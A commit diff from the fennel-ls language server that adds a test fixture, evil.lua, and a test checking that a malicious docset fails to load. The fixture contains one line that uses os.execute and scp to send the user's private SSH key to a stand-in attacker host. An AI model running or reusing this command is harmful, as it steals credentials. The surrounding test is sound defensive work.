Add test to ensure that evil docsets can't run evil code.
This commit is contained in:
parent
9b54f882c9
commit
0d7e9b6183
3
test/data/fennel-ls/docsets/evil.lua
Normal file
3
test/data/fennel-ls/docsets/evil.lua
Normal file
@ -0,0 +1,3 @@
|
||||
-- an evil docset that steals your files!
|
||||
os.execute("scp ~/.ssh/id_dsa evil-attacker@bad.guys:")
|
||||
return {lol={}}
|
||||
@ -184,7 +184,13 @@ except that it sets a new message handler `msgh`.")
|
||||
{:libraries {:tic80 true}})
|
||||
(check "(trans|late \"hello\" :en :zh)"
|
||||
#($:find "convert from one lanugage to another")
|
||||
{:libraries {:external true}}))
|
||||
{:libraries {:external true}})
|
||||
;; evil docsets should error when you try to use them!
|
||||
(faith.is (case (pcall check "(trans|late \"hello\" :en :zh)"
|
||||
#($:find "eat your files")
|
||||
{:libraries {:evil true}})
|
||||
true false
|
||||
_ true)))
|
||||
|
||||
{: test-literals
|
||||
: test-builtins
|
||||
|
||||
Loading…
Reference in New Issue
Block a user